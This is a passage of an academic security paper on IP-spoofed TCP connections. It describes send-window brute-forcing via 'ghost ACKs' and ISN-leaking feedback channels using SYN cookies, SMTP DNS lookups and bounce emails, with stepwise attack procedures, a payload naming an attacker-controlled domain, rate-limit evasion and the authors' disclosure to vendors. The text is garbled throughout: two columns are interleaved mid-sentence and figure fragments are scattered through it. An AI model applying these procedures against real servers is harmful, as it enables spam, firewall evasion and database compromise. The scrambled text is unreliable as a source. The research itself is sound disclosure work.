TCP Spoofing: Reliable Payload Transmission Past the Spoofed TCP Handshake

Yepeng Pan Christian Rossow

CISPA Helmholtz Center for Information Security CISPA Helmholtz Center for Information Security
Dortmund, Germany Dortmund, Germany
Email: [email protected] Email: [email protected]

Abstract—TCP spoofing—the attack to establish an IP-spoofed domain. To do this, domain owners maintain an allowlist of
TCP connection by bruteforcing a 32-bit server-chosen initial sending mail servers in SPF records via DNS. By spoof-
sequence number (ISN)—has been known for decades. How- ing a TCP connection using an SPF-allowlisted source IP,
ever, TCP spoofing has had limited impact in practice. One an attacker can bypass these checks and send high-profile
limiting factor is that attackers not only have to guess the ISN spam. Similarly, several databases can be configured to use
to complete the handshake but also have to model the server’s IP-based authentication. For example, PostgreSQL’s docu-
send window to reliably transmit subsequent payload segments. mentation explains how to allowlist hosts without posting
While known bruteforcing attacks include payloads during the a corresponding security warning [35]. Once an attacker
handshake already, this cannot correctly model interactive TCP spoofs a TCP connection from a trusted source address, the
dialogs and is also prohibitively expensive (if not impossible) attacker can manipulate or dump the database.
for larger payloads. Relying on the impracticality of TCP To establish a spoofed TCP connection, previous works
spoofing, several services still rely on the source IP address to exploited predictable server-chosen initial sequence num-
make security-critical decisions, such as for firewalling, spam ber (ISN) [29] and side channels to infer the ISN [36].
classification or network-based authentication in databases. However, by now, all major OSes employed safer non-
We show that attackers cannot only establish spoofed TCP predictable ISNs, and known side-channel attacks rely on
connections but also reliably send spoofed TCP payloads over
several prerequisites beyond a spoofing-capable attacker,
these connections. We introduce two such sending primitives.
such as global IPID counters, which were already removed
from major OSes [21]. Alternatively, attackers only have
First, we show how attackers can abuse the permissive handling
to send 232 spoofed segments (or 224 –229 using certain
of the TCP send window to inject payloads via efficient
optimizations [26]) to bruteforce the server-chosen initial
bruteforce attacks. Second, we introduce feedback-guided TCP
sequence number (ISN)—a matter of minutes with today’s
spoofing that enables attackers to leak the server-chosen ISN.
network speeds. Surprisingly, though, little attention has
We introduce three feedback channels; one exploiting TCP
been paid to the attack requirements for sending payload
SYN cookies and two leveraging operations specific to email
over such bruteforced connections once established. This
and database applications. We find that such sending primitives is far from trivial, as TCP/IP stacks reject follow-up seg-
can reliably transfer payload over spoofed connections and ments that acknowledge data outside of the (unknown) send
show their prevalence. We conclude with a discussion on window. Indeed, even though the handshake may have been
countermeasures and our disclosure process. spoofed successfully, a spoofing attacker still does not know
the server-chosen ISN, i.e., they cannot model the server’s
1. Introduction send window. Documented spoofing attacks thus just “pig-
gyback” the TCP payload in the handshake’s ACK segments
Spoofed TCP connections can evade critical security during their brute-force attack. This severely limits attacks
checks such as firewalls and IP-based authentication. In in practice, though. Such one-off payloads are expensive due
theory, it has long been known that the source IP of a to the bruteforce nature of the attack, limited in size (to an
TCP connection alone should not be used as the sole factor IP packet, i.e., ≈ 64 kB), and generally unsuitable in attacks
for security-critical operations. In practice, though, several on most app-layer protocols, which engage primarily in
systems and entire ecosystems heavily rely on IP addresses interactive, multi-step TCP dialogs (e.g., SMTP and SQL).
as strong identifiers. For example, firewalls and IDS/IPS In this paper, we study building blocks for efficient and
regularly use source IPs to filter or allowlist certain traffic. reliable payload transmissions in IP-spoofed TCP connec-
Also application layer protocols rely on IP-based authenti- tions. We show that attackers can leverage two orthogonal
cation. For example, in the email (SMTP) ecosystem, the payload transmission primitives to follow interactive yet
sender’s IP address is a vital component in spam defenses. IP-spoofed TCP dialogs—completing an important missing
In particular, the Sender Policy Framework (SPF) defines step of many practical TCP spoofing applications. The first
which hosts should be allowed to send emails from a specific strategy leverages that attackers can efficiently inject pay-
loads due to permissive TCP window checks after brute- Client Server
forcing the ISN. The second strategy proposes feedback SYNseq=x=Cl
ient IS N
channels to leak the server-chosen ISN. In more detail:
Permissive TCP Window Checks: We show that at- IS N,ack=x+1
tackers can abuse the permissive TCP send window to trans- SYN/ACKseq=y=Server
mit IP-spoofed segments after the handshake. Unfortunately, ACKseq=x+1,a
the main focus of attack hardening in TCP standards and ck=y +1
popular TCP/IP stack implementations was on TCP injection
attacks, mostly ignoring the problem of IP-spoofed TCP
connections. Consequently, we find that attackers can abuse Figure 1: TCP’s three-way handshake assumes that an off-
the non-stringent window checks by TCP recipients to inject path attacker does not know the server-chosen Initial Se-
payloads into spoofed connections. Most importantly, we quence Number (ISN) and hence cannot spoof a handshake.
observe that TCP also permits acknowledgments of “stale”
data before the current send window, even if such data was
never sent (“ghost ACKs”). This way, using this building Attacker Server IP Owner
Sseq=
block, attackers do not have to guess the precise ISN. x
Instead, they just have to bruteforce the send window— Aseq= S/A
seq
typically with 216 ≈ 65k packets, a matter of milliseconds. x+1,a
ck=00 =66
66,a
Aseq= 00 ck=
Or worse, if window scaling is accepted, the attacker can x+1,a
ck=00 x+1
bruteforce the send window with 4 (!) packets only. Aseq= 01
x+1,a
ck =0002
Feedback Channels: Second, and as an orthogonal
... RST
building block, we show that attackers can leverage feed- Aseq=
x+1,a
back channels to learn the server-chosen ISN. We show ck= 6667
... Correct ACK
that, surprisingly, both application protocols and the TCP/IP completes handshake
stack itself provide multiple of such feedback channels. A
feedback channel leaks the precise ISN to the attacker as Figure 2: TCP handshake spoofing by bruteforcing the 32-bit
part of the TCP handshake bruteforce attack. Upon learning ISN. The attacker (left) aims to open a spoofed connection
the correct ISN, the attacker can maintain and reuse the to a server (middle), impersonating the IP owner (right).
spoofed connection to send arbitrarily many IP-spoofed TCP As RSTs from the IP owner would terminate the spoofed
segments, without the need to bruteforce the send window. connection, attackers spoof IP addresses that remain quiet
We evaluated these payload transmission primitives in when receiving unrelated SYN/ACK segments.
both local and real-world network setups. Both, the send
window bruteforcing and the feedback channels, turn out
to be reliable and accurate. Our experiment also explored 2. Background
the prevalence of these primitives. We find that the send
window bruteforcing attack is effective against 75.9% of the TCP: The Transmission Control Protocol (TCP) is one
servers. Only stringent middleboxes, which protect about of the most widely used transport-layer protocols. It provides
37.7% of the tested servers, would prevent this kind of reliable and ordered delivery of data. The TCP header
abuse. The generic feedback channel affects the entire Linux contains two 32-bit fields, seq and ack, to synchronize
landscape, as servers enable SYN cookies by default. For the data transfer between server and client. Importantly, seq
the SMTP-specific feedback channels, our experiment found and ack are also often used to implicitly validate the client
that at least 25.7% of SMTP servers belonging to the top- and server when initiating a TCP connection.
10k domains are vulnerable to such feedback channels. The Clients establish a TCP connection through a three-way
PostgreSQL-specific feedback channel affects all servers handshake, as shown in Figure 1. First, the client sends a
that are configured to use IP address-based authentication. SYN segment to initiate a connection. The seq field in this
Motivated by these findings, we conclude the paper with segment is a client-chosen ISN (initial sequence number).
a mitigation discussion. We have disclosed our findings to Next, the server responds with a SYN/ACK segment that
the IETF, operating systems, SMTP and PostgreSQL com- confirms the SYN segment by encoding client ISN+1
munities with concrete mitigation recommendations. As part into the ack field. The SYN/ACK segment also contains
of our disclosure, the developers hardened the sendmail and a server-generated and non-predictable ISN in the seq
postfix mail servers and promised to update the PostgreSQL field. To complete the handshake, the client sends an ACK
documentation on host-based authentication.The IETF TCP segment to the server that confirms the server’s ISN by
working group (WG) chairs suggested to work with the WG setting the ack field as server ISN+1. After this three-
towards a new Internet draft to improve handling of ghost way handshake, both sides can send data to each other. Note
ACKs. We also saw first ideas to patch the respective parts that the client could already send “piggybacked” data to the
in the TCP/IP stacks by the operating system developers, server by setting also the PSH flag in the final ACK message.
yet as of time of writing, final patches are still pending. IP-spoofed TCP connections: In TCP spoofing, an off-
path attacker aims to establish an IP-spoofed TCP con- 220 recipient.com ESMTP Postfix
nection with the victim server. This is in contrast to TCP HELO sender.org
injection attacks that aim to inject data into existing (benign, 250 recipient.com
MAIL FROM: <[email protected]>
non-spoofed) TCP connections [17], [27], [36]. To prevent 250 OK
against TCP spoofing, TCP provides a weak authentication RCPT TO: <[email protected]>
of the source IP based on the assumption that an off-path 250 OK
attacker does not know the server-chosen 32-bit ISN during DATA
354 End data with CRLF.CRLF
the TCP handshake. Indeed, unless the server-chosen ISN is From: [email protected]
predictable [29] or can be inferred from other side channels To: [email protected]
[36], which usually require certain setups, attackers can only Subject: Mail
complete IP-spoofed handshakes by bruteforcing the server- Hi Peter, it’s Paul!
.
chosen ISN. The general spoofing attack is illustrated in 250 OK! Queued as C0CFC1A6586
Figure 2, in which the attacker sends floods of IP-spoofed QUIT
ACK segments to bruteforce the ISN. An attacker with 221 BYE
1 Gbps bandwidth could traverse the search space within Listing 1: Example SMTP dialog for sending an email.
approximately 30 minutes. Note that attackers spoof IP
addresses that remain quiet upon receiving “backscatter”
traffic (i.e., SYN/ACK). Otherwise, the IP owner would
send a RST (in gray in the figure) that terminates the ignored this challenge by including (“piggybacking”) a pay-
connection or handshake, and hence minimizes the attack load as part of the spoofed handshake segments. Indeed,
window significantly. Having said this, this assumption is servers will process this data if the PSH flag is set and
easily fulfilled if attackers can choose IP addresses from the ACK hits the correct ISN. But piggybacking is limited
entire target networks [30], [31]. for several reasons. First, it is expensive to encode larger
Optimized spoofing by help of SYN cookies: In fact, payloads in all bruteforced SYN/ACK segments. Second,
attackers can narrow down the ISN search space to 229 bits payloads would be limited to the maximum IP packet size
(e.g., in Linux) or even 224 bits (e.g., in FreeBSD) by forcing (64 kB). Third, and most importantly, this technique is
a server to use SYN cookies [26]. SYN cookies are a server- limited to single payloads, which is particularly problem-
side technique to mitigate SYN flood attacks [3]. Without atic for interactive application-layer protocols. Consider, for
SYN cookies, upon receiving a SYN segment, a server keeps example, the SMTP dialog in Listing 1. Completion of the
client information in a backlog queue until it receives the SMTP dialog requires six messages. Even if attackers try to
final ACK segment. In a SYN flood attack, an attacker merge all such payloads into a single TCP segment, mail
floods a server with SYN packets without ever finishing any servers may punish and reject such undesired pipelining
handshakes. Such an attack will exhaust the backlog queue behavior. Splitting the piggybacked payload into several
such that the server cannot accept any further connections. In bruteforced TCP segments is feasible, but would greatly
such a case, all modern network stacks enable SYN cookies increase the cost of sending multiple emails, as the attacker
by default. With SYN cookies, servers no longer have to needs to do the same for each email to be sent. All these
keep state for incomplete TCP connections. To realize this, reasons underline that payload piggybacking is not feasible
the server uses SYN cookies as the server-chosen ISN, for many practical applications of TCP spoofing.
where the cookie encodes time, Maximum Segment Size
(MSS), as well as client and server IP addresses and ports. 3. Methodology
For compatibility reasons, Linux’ SYN cookie verification
tolerates both, 4 MSS choices, and SYN cookies generated We now describe two sending primitives that enable
in the previous time window. This results in eight (instead attackers to reliably and efficiently transmit payloads in
of one) valid ack numbers in the 232 search space that spoofed TCP connections. In Section 3.2, we describe an op-
an attacker can use to establish a TCP connection. By timized bruteforce method that leverages the lax handling of
exhausting the backlog queue, an attacker can thus force the the TCP send window checks. In Section 3.3, we introduce
victim server to use SYN cookies, which will consequently feedback channels to leak the ISN to the attacker. Before
reduce the server-chosen ISN search space to 29 bits. An doing so, we outline our threat model in the following.
attacker with 1 Gbps network speeds could traverse such a
reduced search space within ≈ 4 minutes. 3.1. Threat Model
Payload transmission of spoofed TCP connections:
Once successful, attackers want to transmit data over the We assume an attacker wants to establish an IP-spoofed
spoofed connection. The core problem is that even though TCP connection with a target server and leverage this con-
attackers correctly bruteforced the ISN with one of their nection to send TCP payloads to the target server. This
many spoofed segments, they still do not know the ISN. threat model contrasts TCP injection attacks that aim to
However, TCP mandates clients to specify a “reasonable” inject spoofed TCP payloads into an existing connection
ack number that corresponds approximately to the (un- between two parties, none of which the attacker controls.
known) ISN. Existing documented TCP spoofing attacks In our case, we control one side of the TCP connection.
Creating IP-spoofed TCP streams enables new threats, such First byte sent but
unacknowledged Next byte to send
Sent and Acknowledged
Sent but not Acknowledged
SND.UNA SND.NXT
as evading IP-based firewall policies or authentication. It is Not Sent

thus an orthogonal attack scenario to TCP injection attacks 100 101 102 103

that try to hijack connections.

The attacker is off-path and can send IP-spoofed traf- SND.WND=4*
Connection
Acceptable ACK
fic [28]—following the threat model of TCP injection at- (SND.UNA-SND.WND, SND.NXT)
with past server data transfer

tacks. Attackers can thus not directly observe the communi- Not Sent but Acceptable
cation between the target server and the spoofed IP address. SND.UNA==SND.NXT ("Ghost ACK")

Which particular IP address the attacker spoofs depends

ISN
on the use case, but it is typically allowlisted by the target +1

server. Spoofed TCP connections then allow to bypass the Acceptable ACK SND.WND=4*
(SND.UNA-SND.WND, SND.NXT) Newly-established connection
allowlist. To ease the attack, the attacker spoofs an IP without past server data transfer

address that does not interfere with the spoofed handshake Figure 3: Acceptable ack numbers. The upper part shows
(e.g., due to RST segments that follow backscatter traffic, the acceptable ack number range in a TCP connection with
see Figure 2). To this end, attackers can use routed but past server-side transmissions. The lower part shows the ac-
unused IP addresses, i.e., IP addresses not assigned to any ceptable ack range in a newly-established TCP connection;
host. If attackers can only spoof systems that send RSTs, the too permissive “ghost ACKs”. Without losing generality,
the attack still works but has a significantly shorter attack we assume the current send window is the largest send
window—we consider this out of scope for this work. window ever seen, i.e., SND.WND=MAX.SND.WND.
3.2. Send Window Bruteforcing
We now describe our first primitive for sending payloads sequence number to be sent, and SEG.ACK is the attacker-
over an IP-spoofed TCP connection. To this end, we assume controlled ack number. If both checks for seq and ack
that the attacker has created an IP-spoofed connection using fields passed, the receiver accepts the TCP packet; payloads
the (possibly optimized) bruteforce approach described in of all other segments will be ignored.
Section 2. While spoofing the handshake is trivial, sending Figure 3 illustrates the validations of two concrete server
data via the spoofed connection beyond is challenging. send windows based on an already-used (top) and freshly-
When attempting send payloads over an IP-spoofed TCP established (bottom) TCP connection, respectively. If the
connection, attackers are unaware of the server-chosen ISN. server sent data in the past (top), the server accepts confir-
If they cannot piggyback payloads due to the reasons men- mations for unconfirmed data (brown) and reconfirmations,
tioned in Section 2, they need to learn or guess the ISN i.e., ack of recently-sent data (green). In the case of a
to specify valid ack numbers in their spoofed payload new (spoofed) TCP connection in which the server did
segments. While Section 3.3 introduces methods to learn the not send payloads yet, SND.UNA = SND.NXT = ISN+1.
ISN, in this subsection, we show how attackers can transmit The interesting observation now is that TCP servers accept
payloads even without knowing a valid server-chosen ISN. payload segments before the ISN (gray/red), even though
This method is less effective than learning the ISN, but can the server never sent such data (“ghost ACKs”). This per-
also be used when attackers cannot derive the ISN. missive send window check allows TCP spoofing attack-
To send spoofed segments, we find a shortcoming in sev- ers to acknowledge any sequence number in the range of
eral TCP implementations that allow attackers to efficiently [ISN + 1 − MAX.SND.WND, ISN + 1]. With typical send
bruteforce valid ack numbers. Note that in contrast to TCP windows of 8-64 kB (cf. Section 4.1), attackers just have to
injection attacks, where details such as client source port and send one spoofed payload segment per possible window in
IP addresses are unknown, in TCP spoofing, attackers can the 32-bit sequence number space. This reduces the search
freely choose most header values. They control and thus space from 232 to just 216 -219 attempts per payload. When
know all IP addresses and port numbers of the spoofed window scaling is used, the send window can be further
connection, as well as the client-chosen ISN. Payload in- extended to 1 GiB, and thus the search space can be reduced
jections thus boil down to guessing a valid ack number, in to just four attempts per payload. By uniformly trying all
principle a 32-bit search. Surprisingly, we find that current possible windows, attackers even retain the guarantee that
TCP implementations allow for much more efficient payload their payload will be processed only exactly once. The
injections due to lax handling of ack number validations. obvious mitigation to this attack is to ignore ghost ACKs
Upon receiving a TCP packet with the ACK flag within (see Section 5.1), which however is not implemented by any
an established TCP connection, the receiver checks whether of the TCP/IP stacks we inspected.
the ack field of the incoming packet is acceptable. In partic- Summary: Send window bruteforcing, our first spoofed
ular, the receiver validates if SND.UNA − MAX.SND.WND ≤ payload sending primitive, is relatively simple to implement.
SEG.ACK ≤ SND.NXT holds [13], as implemented in Linux Furthermore, it is agnostic to the data the server sent. A
[6], where SND.UNA is the first unacknowledged octet of the search step size identical to the send window guarantees
receiver, MAX.SND.WND is the largest window that the local that one of the segments will be accepted, irrespective
sender has ever received from its peer, SND.NXT is the next of the server state (SND.UNA and SND.NXT). It has the
 ①Spoof TCP Connection​ per minute (for a detailed computation, see Figure 5). That
Naïve
②Spoof TCP connection again If is, for the same {src IP,dst IP,src Port,dst Port} address
multiple packets are desired​ Backscatter Traffic
Spoofing Attacker tuple, the SYN cookie remains constant for one minute.
Termination Signals
①Spoof TCP Connection​ (RST & ICMP packets) In contrast, when a socket’s backlog queue is not full
Victim Server Spoofed Server
②Feedback
and hence SYN cookies are inactive, the ISN computation
Feedback-Guided ③Maintain & Exploit spoofed follows a different path. In Linux, the sequence number is
Spoofing Attacker connection to send more packets​
generated using Hash(addrs,key)+time [8], where the time
Figure 4: A feedback-guided TCP spoofing attacker can is a clock counter that changes every 64 nanoseconds. As
acknowledge the successful spoofing attempt via feedback a result, when SYN cookies are not activated, as long as
channels and thus reuse the spoofed connection to send the attacker does not send packets {SYN, RST, SYN} in
further attack payload, which effectively avoids the cost of 64 nanoseconds, the two subsequent SYN requests of the
spoofing new TCP connections same {src IP,dst IP,src Port,dst Port} tuple will result in
different ISNs in the SYN/ACK responses.
Methodology: An attacker can perform the following
downside that middleboxes and future TCP implementations steps to leverage SYN cookies as a generic feedback channel
may drop ghost ACKs. In fact, there is no reason why that leaks the server-chosen ISN of the spoofed connection:
TCP endpoints should accept acknowledgments of data they
never sent—other than that slight state and performance 1. The attacker first sends an IP-spoofed SYN packet to
penalty of additional checks. Furthermore, the method is the victim server. Later, the attacker will bruteforce the
relatively aggressive even past the handshake and requires server-chosen ISN to establish this half-open and IP-
continuous (even if cheap) bruteforcing. spoofed TCP connection (the “prime connection”).
2. Assume the backlog queue size of the victim server is
3.3. Feedback-Guided Spoofing n. The attacker sends n − 1 SYN packets to the victim
server, assuming an initially-empty backlog queue. If the
The first payload transfer primitive operates without backlog queue is not initially empty, an attacker can still
the knowledge of the ISN. In contrast, we now describe eventually control all backlog queue entries by gradually
feedback-guided TCP spoofing, which aims to leak the adding more and more half-open connections once others
ISN to the attacker. Figure 4 illustrates the sketch of this time out. Once the attacker controls a backlog entry, it
second attack primitive. 1 The off-path attacker creates an can maintain it indefinitely. That is, as implemented in
IP-spoofed TCP connection. 2 The attacker leverages a Linux [7], upon receiving a retransmitted SYN packet
feedback channel to infer when they successfully spoofed a corresponding to an existing backlog queue entry, the
TCP connection and which attempt succeeded. 3 The off- server will extend the timeout for the entry. This way,
path attacker then continuously maintains the spoofed TCP an attacker can maintain backlog queue entries that are
connection for future use. In this section, we first introduce a already under control and wait until the other entries
general feedback channel that exploits TCP/IP stack design are freed. Including the prime connection (step 1), the
and then two application-specific feedback channels. victim server’s backlog queue is filled with half-open
TCP connections. The victim server will reply with
3.3.1. Generic Feedback Channel: SYN Cookies. As ex- SYN cookies to future SYN packets—unless the prime
plained in Section 2, SYN cookies are a defense against connection (the nth backlog entry) leaves the queue.
SYN flood attacks. Thus, Linux enables SYN cookies by 3a. The attacker sends IP-spoofed ACK packets to bruteforce
default. When a socket’s backlog queue is filled with half- the server-chosen ISN of the prime connection. As soon
open TCP connections, a server no longer keeps track of as they hit the correct ISN, the TCP/IP stack will remove
additional connections but replies to SYN segments with the now-established prime connection from the backlog
SYN cookies instead. The computation of SYN cookies is queue. This immediately inactivates SYN cookies on the
specific to the TCP/IP stack but usually depends on the time, system globally due to the freed backlog queue entry.
IP addresses and port numbers. 3b. In parallel to step 3a, the attacker uses their own IP to
learn if SYN cookies become inactive, i.e., if their hand-
0 7 8 31
time MSS idx + Hash2(addrs, time, s1)
shake spoofing was successful. Whether SYN cookies
are active can be observed, e.g., by seeing that ISNs are
+ client ISN
equal for two subsequent connections with the same ad-
+ Hash1(addrs, 0, s2) dresses/ports. Thus, attackers periodically send probes: a
= SYN cookie
non-spoofed SYN packet to learn the server-chosen ISN
of a non-spoofed connection, and a non-spoofed RST to
Figure 5: The Linux SYN cookie is the sum of three time- abort the SYN’s connection attempt. Subsequent probes
sensitive (blue) and two time-agnostic (gray) values. must use the same {src IP,dst IP,src Port,dst Port} tu-
ple such that they create the same SYN cookie (if active).
In Linux, the SYN cookie is a function over the ad- If two subsequent SYN probes trigger the same server-
dresses, MSS, and a time counter which is forwarded once chosen ISN, SYN cookies are still active and the attacker
 Successful Spoofing
Attempt
two one-minute time frames, the attacker would see
mth m+1th m+2th
two different ISNs in response even if the IP-spoofed
second second second connection was not established. However, attackers can
Time/s
observe and predict this deterministic change and tem-
S1 S2 S3 S4
porarily pause their attack/probes accordingly.
SA1 SA2 SA3 SA4 2. Packet Reordering: Packet reordering can affect the
​I SN:0x88BB29C0 ISN:0x88BB29C0 ISN:0xB2DFA040 ISN:0xA0FDFD40
accuracy of the feedback channel. Depending on the
Figure 6: S represents the probing SYN packets. SA repre- swapped packets, packet reordering can both delay or
sents the victim server’s responses to probing SYN packets. advance the acknowledgment of successful spoofing
SA responses labeld in the same color contain the same attempt. In the following, we discuss two common
server-chosen ISN. After a successful spoofing attempt, a cases where packet reordering may introduce noises:
different ISN is picked for each SYN-ACK response.
• When SYN probes and ACK packets swap the or-
der, the feedback channel may report an approxi-
continues bruteforcing (step 3a). If the server-chosen mate ISN slightly larger or smaller than the cor-
ISNs differ, SYN cookies were disabled and the way rect ISN. For example, consider an attacker probes
to create the ISN has changed. This only happens if the once every five bruteforced ACK packets. The
IP-spoofed half-open TCP connection was removed from attacker sends {ACK1−5 , SYN1 , ACK6−10 , SYN2 },
the backlog queue as it was successfully established. where ACK5 contains the correct ack number.
However, the server receives packets in order
Figure 6 exemplifies the feedback channel. Initially, the {ACK1−4 , SYN1 , ACK5−10 , SYN2 }, where ACK5 and
backlog queue is filled with the prime connection and n − 1 SYN1 swap. In this case, the attacker observes the
half-open TCP “chaff” connections. When the TCP spoof- ISN change in the SYN/ACK response to SYN2 and
ing is not successful, the backlog queue remains full and believes that ACK6−10 has the correct ack number;
SYN cookies remain active. The two probing SYN packets a larger ISN is reported. Likewise, if ACK6 contains
that fall in the same time window (one minute in Linux) the correct ack number, and the server receives
will trigger SYN-ACK packets containing the same server- packets in order {ACK1−6 , SYN1 , ACK7−10 , SYN2 },
chosen ISN. Once the TCP spoofing succeeds, the prime the attacker would consider ACK1−5 has the correct
connection has been fully established and its entry is freed ack number, because the SYN/ACK response to
from the backlog queue. Subsequent SYN-ACK responses SYN1 shows ISN change; a smaller ISN is reported.
will no longer carry SYN cookies but random, server-chosen • Similarly, when ACK packets swap the order,
ISNs. As a result, by observing whether server-chosen ISNs the feedback channel may report an approxiamte
are identical for two probing SYN packets, an attacker can ISN slightly larger or smaller than the correct
decide whether TCP spoofing succeeds. ISN. Consider the same setup where the attacker
Attackers who want to learn the exact ISN will have to sends packets {ACK1−5 , SYN1 , ACK6−10 , SYN2 }
perform one probe per spoofed ACK segment, which triples and ACK5 contains the correct ack number.
the initial spoofing costs (ACK, SYN and RST instead of The server may receive packets in order
just ACK). However, as wrongly guessed ISNs have no neg- {ACK1−4,6 , SYN1 , ACK5,7−10 , SYN2 }, where ACK5
ative effect on the established connection, attackers can also swaps with ACK6 . Since the ISN change is
relax this assumption and probe only after every x ACKs, observed in the SYN/ACK response to SYN2 ,
learning that one out of x probed ISNs was correct. This the feedback channel reports a larger ISN in
results in a trade-off. A larger probing interval increases the ACK6−10 . Given the same attack packet sequence,
costs of sending subsequent payloads (x packets per spoofed while this time ACK6 contains the correct ack
segment) but decreases the costs during the initial handshake number. If the server receives packets in order
(only one SYN and RST for every x ACK segments). {ACK1−4,6 , SYN1 , ACK5,7−10 , SYN2 }, the attacker
A limitation of this feedback channel is that an attacker would consider ACK1−5 has the correct ack
needs to spoof a TCP connection using the standard three- number, because the SYN/ACK response to SYN1
way handshake such that the prime connection occupies an shows ISN change; a smaller ISN is reported.
entry in the backlog queue. The SYN cookie-optimized ISN
bruteforce strategy (Section 2) is not compatible. 3. Packet Loss: When SYN probes and SYN/ACK re-
Noise management: The SYN cookie feedback channel sponses are dropped, the feedback channel may re-
may be influenced by both legitimate user connections and port an approximate ISN larger than the correct
packet loss/reordering. Similarly, the change of the time ISN. As an example, consider an attacker sends
window has to be considered. We discuss the potential {ACK1−5 , SYN1 , ACK6−10 , SYN2 }, where ACK5 con-
causes of noise in the following: tains the correct ack number. When SYN1 or its
SYN/ACK response is dropped, the attacker can only
1. Time Window Forwarding: SYN cookies change with observe the ISN change in the response to SYN2 . Thus,
every time window (every 60 seconds in Linux) even the feedback channel would report ACK6−10 contains
for the same address tuple. If the two SYN packets in the correct ack number; a larger ISN.
the probing sequence are sent at the transition between
 Successful Spoofing
4. Client Connection Requests: Finally, benign client con- Attempt
RTT

nection attempts may prevent attackers from learning Client Client Client
about their spoofing success. As shown in Figure 7, SYN Receive ACK
SYN-ACK
when a client SYN packet arrives before the first SYN
probe after the successful spoofing attempt, a client Time/s

connection noise happens. The client request would S1 S2 S3 S4 S5

SA1 SA2 SA3 SA4 SA5
stay in the backlog queue until the client connection ​I SN:0x88BB29C0 ​I SN:0x88BB29C0 ISN:0x88BB29C0 ISN:0x88BB29C0 ISN:0xA0FDFD40

is established. Until then, SYN probes of the attacker Figure 7: S represents the probing SYN packets. SA repre-
would suggest the backlog queue is still full, delaying sents the victim server’s responses to probing SYN packets.
the acknowledgment of the successful spoofing attempt. SA responses labeld in the same color contain the same
The deviation of the feedback ISN in this case depends server-chosen ISN. The successful spoofing attempt is ac-
on the client RTT and attack speed. Assume the at- knowledged until the client connection is fully established.
tacker sends one SYN probe every P1 second (P probes
per second) and there are C client connection requests
uniformly distributed in a one second time frame. In the
worst case, a successful TCP spoofing attempt always protocol—in contrast to the previous generic TCP feedback
happens immediately after the previous SYN probe. channel. Our first feedback channel targets the Simple Mail
Thus, when C < P , the probability of observing the Transfer Protocol (SMTP) . Since the origins of the Internet,
client connection noise is the probability of having we have been using SMTP to send and exchange emails. The
the successful spoofing attempt falling in a P1 second source IP of a TCP connection plays an important role in
time frame containing a client connection request— SMTP spam defense. In IP-spoofed spamming, an off-path
C
P . When C > P and the client connections dis- attacker impersonates an MTA of a particular sender domain
tribute uniformly (the worst case), noise dominates the (“spoofed server”) against a mail-receiving MTA (“victim
measurements. The aforementioned formula yields the server”). By establishing an IP-spoofed TCP connection,
worst case probability of observing client connection the attacker can bypass spam defenses such as SPF and IP
noise. In practice, the successful spoofing attempt does blocklist. An attacker could also try to send IP-spoofed spam
not necessarily happen immediately after the previous to a victim server by piggybacking the entire SMTP dialog
SYN probe, leaving a shorter time frame for client in the final ACK packet. However, mail servers may detect
connection noise. Besides, non-uniformly distributed and reject such aggressive pipelining behavior. Furthermore,
client connection requests are more favorable to an because the maximum payload size of a single TCP segment
attacker, as multiple client connection requests may is 65535 bytes, piggybacking could only send a few spam
reside in the same time frame, reducing the probability emails in one spoofed TCP connection. Consequently, to
noise. Either way, when C  P , the probability of effectively send spam to a victim server, we show how
client connection noise is negligible. By increasing the attackers can leak the ISN during the TCP handshake. This
probing frequency, an attacker can thus minimize the knowledge then serves for sustained spamming in which
chance of the client noise. attackers can reliably send several spam emails over the
Rate Limiting: The described feedback channel relies same spoofed TCP connection.
on SYN packets for testing whether SYN cookies are active. DNS-based feedback: Listing 1 shows an example di-
In real-world environments, middleboxes may (unknow- alog of SMTP in which the mail server of sender.org
ingly) downgrade or even block the SYN cookie feedback sends an email to the MTA of recipient.com. Notably,
channel. For example, to defend against SYN floods, servers there are three places at which the server mentions the
or appliances may deploy rate limits for SYN packets. We sender domains or related hostnames: (1) in HELO (“HELO
empirically observe the behavior of AWS EC2 cloud servers hostname”), (2) in MAIL FROM: (“envelope sender”) and
and Digital Ocean cloud servers and find that they have: (3) in From: (“header from”). The recipient’s mail server
• A specific rate limit for SYN packets from the same resolves the DNS record of the hostname in HELO and the
{src IP, src port} tuple, approximately 1 pps. envelope sender. With the SPF DNS record, the recipient
• A global rate limit for SYN packets from all source IPs, server can verify whether the incoming connection IP is
approximately 2000 pps. allowed to send email on behalf of the domain. However,
To evade these SYN packet rate limits, an attacker can still an attacker can abuse the DNS lookup behavior of SMTP
send 2000 probes per second by using 2000 different source servers as a feedback channel:
ports for their probe sequences. Consequently, this rate limit 1. The attacker deploys an authoritative name server for an
would limit the granularity, and the attacker can only infer attacker-controlled domain.
the correct ack number in a 0.0005-second range. 2. The attacker sends floods of IP-spoofed PSH-ACK
packets in order to spoof a TCP connection.
3.3.2. Application-Specific Feedback Channel #1: IP- Each PSH-ACK packet carries the payload HELO
spoofed Spam via SMTP. We now introduce two feedback guessed_ISN.attacker.com\r\n.
channels that are specific to the underlying application-layer 3. Whenever the attacker sniffs an incoming DNS query for
 the domain guessed_ISN.attacker.com., they server or a free mail provider. In this scenario, the attacker
know an IP spoofed TCP connection is established and uses the spoofed TCP connection to send an email from
learn the ISN from the incoming DNS query. an attacker-controlled inbox that triggers a bounce message,
In practice, mail servers may differ in how they process e.g., because the recipient does not exist or the recipient set
the SMTP dialog. Particularly, mail servers may only resolve up an auto-reply message. Again, the spoofed PSH-ACK
the envelope sender domain or even further delay the DNS segments carry all essential SMTP dialog to send an email
query. In this case, the attacker needs to further extend (see Listing 3 in the appendix). The guessed ack number
the attack payload, which increases the spoofing costs. In can be encoded in fields that are mirrored in bounces, such
addition, for servers that do not allow pipelining, the attacker as the MAIL FROM or the To fields in the SMTP dialog.
would need to split the payloads into several segments. Note Using either of these two variants, upon successful
that, even though this would increase the cost of bruteforc- spoofing of a TCP connection, an email will be delivered to
ing, once the attacker successfully learns the correct ISN the attacker. By extracting the ack number from this email,
through the feedback channel, the connection can be reused the attacker can learn the server-chosen ISN and continue to
without bruteforcing, and thus the cost is only one-off. use a spoofed TCP connection. Compared to the DNS-based
A limitation of the DNS-based feedback channel is that feedback channel, the email based feedback has a higher
the attacker-controlled domain is disclosed to the victim cost since an attacker always needs to send the entire SMTP
SMTP server. One way to make the attacker anonymous dialog before getting any feedback. As described previously,
to the victim SMTP server is to use cache snooping of servers may reject such aggressive pipelining behavior, and
the mail server’s DNS resolver, assuming the attacker has force an attacker to split the payload into several segments,
access to the same (possibly open) resolver. In this attack, which can increase the attack cost.
the attacker encodes the guessed ack number into queries
